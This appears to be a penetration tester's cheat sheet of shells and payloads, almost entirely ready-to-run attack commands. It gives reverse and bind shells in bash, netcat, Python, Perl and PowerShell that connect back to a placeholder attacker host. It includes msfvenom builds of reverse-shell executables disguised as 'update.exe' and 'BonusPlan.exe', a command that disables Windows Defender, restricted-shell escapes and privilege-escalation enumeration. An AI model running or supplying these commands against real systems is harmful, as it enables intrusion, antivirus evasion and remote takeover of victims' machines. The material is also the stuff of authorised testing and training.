Shells & Payloads

#rev shell
# Attacker
sudo nc -lvnp <LPORT>
# rlwrap (arrow-key history + line editing in the caught shell)
rlwrap -cAr nc -lvnp <LPORT>
 
# Target
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
# works when 1st fails
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f
 
#bind shell
# Target
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LPORT> > /tmp/f
# Attacker
nc -nv <TARGET_IP> <LPORT>

# stageless ELF rev shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > shell.elf
# stageless Windows EXE rev shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > update.exe
# List payload output formats / payloads
msfvenom --list formats
msfvenom --list payloads | grep -i reverse_tcp

# dumb shell to a full PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c /bin/bash
# background with Ctrl-Z:
stty raw -echo; fg
# then in the returned shell:
export TERM=xterm; stty rows 38 columns 116

# Target:
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()"

#disable AV
Set-MpPreference -DisableRealtimeMonitoring $true

# Confirm OS/arch before choosing a payload trhough nmap scan info or other reflecting information like headers of the website etc.
uname -a            # Linux
systeminfo          # Windows
 
# Generate the matching stageless payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > update.exe

# Spawn a PTY 
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
script -qc /bin/bash /dev/null
# Then upgrade the local terminal (attacker side)
# Ctrl-Z, then:
stty raw -echo; fg
export TERM=xterm; stty rows 38 columns 116

# Bash (built-in /dev/tcp)
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
 
# mkfifo + nc (portable, no /dev/tcp needed)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f
 
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in(0,1,2)];import pty;pty.spawn("/bin/bash")'
 
# Perl
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Linux stageless ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > backup.elf
 
# Windows stageless EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > BonusPlan.exe
 
# Other useful formats: raw, psh (PowerShell), asp/aspx/jsp/war (web), python, raw shellcode (-f c)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > met.exe

# Preferred: Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c /bin/bash
# Alternatives when python is absent
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e 'os.execute("/bin/sh")'
awk 'BEGIN {system("/bin/sh")}'
 
# Abuse find to exec a shell
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find . -exec /bin/sh \; -quit
 
# From within vim
vim -c ':!/bin/sh'
# vim shell
:set shell=/bin/sh 
#then 
:shell

# 1) background the shell
# Ctrl-Z
# 2) on the attacker
stty raw -echo; fg
# 3) back in the target shell
export TERM=xterm
stty rows 38 columns 116

ls -la <path/to/binary>   # file permissions
sudo -l                   # sudo rights (needs a stable interactive shell to return output)

echo $SHELL                 # /bin/rbash, or a shell started with -r
# Restricted shells commonly reject these:
cd /                        # "restricted"
/bin/ls                     # "/ not allowed"
export PATH=/tmp:$PATH      # "readonly variable" / "restricted"

# Which builtins/operators work? Test them directly.
ls; echo test > /tmp/x; cat < /tmp/x        # redirection operators >, >>, <, |
# Which interpreters exist?
python --version; python3 --version; perl -v; ruby --version
# What can be run with elevated rights, and what is SUID?
sudo -l
find / -perm -u=s -type f 2>/dev/null
# Everything the shell inherited (look for a writable PATH entry)
printenv

# 1) Absolute paths, if / is permitted
/bin/bash
/bin/sh
 
# 2) Copy an unrestricted shell somewhere on the allowed PATH (if cp works)
cp /bin/bash ~/sh && ~/sh
 
# 3) Language interpreters that can exec a shell
python3 -c 'import os; os.system("/bin/bash")'
python  -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua  -e 'os.execute("/bin/sh")'
php -r 'system("/bin/sh");'          # or php -a  then:  system("/bin/sh");

# 4) Editors and pagers that shell out
vi          # then  :set shell=/bin/bash   ->   :shell     (or  :!/bin/bash)
man nmap    # then  !/bin/bash             (works via less)
less /etc/passwd   # then  !/bin/bash
gdb -nx -ex '!/bin/bash' -ex quit          # or, inside gdb:  !/bin/bash
 
# 5) Binaries that take an -exec / action argument
find . -exec /bin/sh \; -quit
find / -name notexist -exec /bin/awk 'BEGIN{system("/bin/sh")}' \;
 
# 6) Archive tools with command hooks
tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh
zip /tmp/z.zip /tmp/x -T --unzip-command="sh -c /bin/sh"
 
# 7) SSH forcing a shell / non-restricted command on connect
ssh <USER>@<TARGET_IP> -t "/bin/sh"
ssh <USER>@<TARGET_IP> -t "bash --noprofile --norc"

# TTL heuristic: ~128 -> Windows, ~64 -> Linux (may shift with hop count)
ping <TARGET_IP>
 
# Nmap OS detection (look for OS CPE: cpe:/o:microsoft:windows...)
nmap -O -v <TARGET_IP>